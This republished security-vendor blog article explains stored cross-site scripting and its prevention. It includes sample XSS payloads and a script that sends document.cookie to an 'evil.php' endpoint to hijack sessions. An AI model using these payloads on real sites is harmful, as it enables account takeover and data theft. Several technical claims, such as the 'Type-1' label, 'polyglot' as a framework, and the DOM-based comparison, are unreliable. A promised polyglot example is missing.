A cross-site scripting (XSS) attack is when the attacker compromises how users interact with a web application by injecting malicious code. This code manipulates the webserver to respond to user requests with corrupted JavaScript. There are three primary kinds of XSS attacks: Reflected XSS, Stored XSS, and DOM-Based Cross-Site Scripting attacks. This post discusses Stored XSS attacks and how to prevent them.

Stored Cross-Site Scripting Explained

In a Stored XSS attack, the vulnerable web application receives user-supplied input from untrusted sources and stores it. This malicious content also gets included in the later HTTP responses sent by the server. To perform a Stored XSS attack, hackers only need to identify a security vulnerability within the backend application that allows for the execution of malicious requests. This makes it more exploitable as there is no need for hackers to craft external methods for supplying untrusted inputs to the target application server.

Stored XSS, also known as Type-1 or Persistent XSS attacks, typically rely on unsanitized user input points for scripts permanently stored on the target servers. Since these attacks allow malicious users to control how the browser executes a script, they can typically facilitate a complete user account takeover. The impact of a successful attack ranges from mild to a full-blown compromise depending on the privileges assigned to the valid affected user. Some consequences of successful XSS attacks include:

1. Session hijacking attacks

2. Privilege escalation

3. Disclosure of user files/data

4. Installation of malware/Trojan programs

5. Redirecting users to trustworthy looking clone login forms for phishing attempts

6. Web content spoofing

Stored XSS differs from reflected XSS. In reflected XSS, the server executes the malicious content and includes it only in the immediate HTTP response, whereas, in stored XSS, the arbitrary code gets stored. Unlike other XSS attacks where the user has to be logged in at the time of bad code injection, the stored XSS payload is persisted within the webserver and is executed by the browser for every user that signs in, making it the more dangerous type of attack.

Hackers have targeted stored XSS vulnerabilities for a long time since the malicious code stored on the target application has an enormous reach.

Stored XSS Payloads

A persistent attack aims to inject bad code into popular user-supplied input points, such as comments on blog posts, username fields, and message boards. The payload enables the malicious user to bypass XSS filters and input validation checks. Knowledge of these payloads is essential for application security professionals looking to test and mitigate the stored XSS vulnerability. Some of these payloads include:

The Polyglot-Based XSS Payload

This type of attack targets a vulnerability in polyglot- a framework that enables the execution of code in multiple contexts in raw form. This creates an XSS injection attack vector since attackers can use polyglot scripts to bypass Content Security Policies (CSPs). A typical polyglot XSS script would look similar to:


The JavaScript Directive for Image XSS

This payload allows for the execution of JavaScript within the context of an image. Attackers mainly use this strategy to perform malicious activities on user profile pages and other image links. The script would look like this:

<IMG SRC="javascript:alert('XSS');">

Bypassing HTML Entity Encoding

HTML entity encoding forms a typical first line of defense against cross-site scripting vulnerabilities by performing input data validation. Bad actors often craft scripts to bypass or disable HTML encoding, allowing them to supply unvalidated input to the server. The HTML entity bypass code would look similar to:

<IMG SRC=javascript:alert(&quot;XSS&quot;)>

Improper IMG tags

This attack payload relies on compromised browser rendering to create an attack surface in a <IMG> tag. This allows them to insert a JavaScript event method to any objects created within image tags. The code segment below shows a malformed IMG tag used to test for and exploit stored XSS vulnerabilities. The script would look similar to:

<IMG """><SCRIPT>alert("XSS")</SCRIPT>"\>

Stored XSS Attack Examples

Ways to exploit stored cross-site scripting vulnerabilities include:

Attackers can steal a session cookie from logged-in, authenticated users. They inject client-side scripts that pass an escaped content of the document’s authentication cookie details. To do this, they only have to include the below code in any form which accepts user input, such as user profiles, private messages, or user forums:

<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);

This script execution writes the cookie details to the evil.php file, where attackers can check the result of the script to assume the user’s identity.

Error-Page Manipulation

Attackers can also target error messages like the classic 404 error page, which notifies users of non-existing pages to inject XSS code. Assuming the site that informs the user about the missing page runs on code similar to:

<? php
print "Not found:". urldecode($_SERVER["REQUEST_URI"]);

So if a user clicks a non-existent web page located at: http://darwin.test/non_existent_file, he would get the response: Not found: /non_existent_file

Attackers can manipulate this error page to include a bad code: http://darwin.test/<script>alert(“TEST”);</script>, the HTTP response now is an error page but it would also include the bad JavaScript code<script>alert(“TEST”);</script>

Now that the script tags are successfully injected, users can be misled into clicking the malicious link in a phishing email or social engineering tricks.

Preventing Stored XSS Vulnerabilities

Below are the ways to prevent hackers from exploiting the stored XSS vulnerability in a web application:

Perform Proper Input Validation

Input validation is the default primary step to prevent any kind of injection attack. Proper input validation controls must be performed at every tier of the application to ensure it only accepts trusted user input. Encoding input before it is sent to the browser ensures that attackers cannot tamper with user-supplied data. The web developers should also enforce integrity checks along every step of the software lifecycle to ensure the target application does not include dangerous content in its response. These should include content filtering checks to ensure that input from users does not abuse the business rules to ensure data parameters stay within allowed ranges.

Use a Vulnerability Scanner

It is difficult to test for stored XSS vulnerabilities manually. An automated vulnerability scanner can test for all data entry and exit points used to inject and execute malicious scripts. The Crashtest Security Suite ships with a vulnerability scanner that helps prevent XSS attacks by mapping the relationships between entries and response exit points to ensure only valid scripts are accepted by the server and executed in the browser. Crashtest Security also includes an automated penetration testing solution to fix stored XSS vulnerabilities before being shipped into production.

Enforce a Strong Content Security Policy (CSP)

All modern browsers support CSPs, which developers use to instruct browsers on the allowed sources to load JavaScript and other resources. Since stored XSS attacks rely on the attacker to include malicious inline <script> tags within the page’s <html> tag, CSPs prevent attacks by implementing the same-origin policy. The content security policy is set as a <meta> tag within the page’s <head> element.

Escape Dynamic Content

Stored XSS attacks take advantage of flaws in the delivery of dynamic content persisted within the application’s backend. First, it is essential to keep registered users from submitting raw HTML in input forms. Additionally, any dynamic content and special characters should be escaped so that the browser does not treat them as raw HTML  source code but as the contents of HTML tags.


What can you do with Stored XSS?

By arbitrarily executing JavaScript, attackers can do varying levels of damage depending on the accounts hacked and the sensitivity of exposed data. Some expected consequences of stored  XSS attacks include:

1. Identity theft

2. Website vandalism

3. Denial-of-service attacks

4. Session hijacking

5. Spreading malware using phishing emails, online message boards, and social media

6. Financial fraud

7. Data breaches

What are the differences between DOM-based and Persistent XSS?

In DOM-based XSS, attackers input malicious code into the Document Object Model (DOM) part, which is processed unsafely by the client-side environment. This type of attack can be persistent or non-persistent XSS. When attackers leverage the backend application to control part of the above response, the DOM-based XSS is called Persistent XSS.

This article has already been published on https://crashtest-security.com/stored-xss-attack/ and has been authorized by Crashtest Security for a republish.

Featured Image Courtesy – Photo by Jexo on Unsplash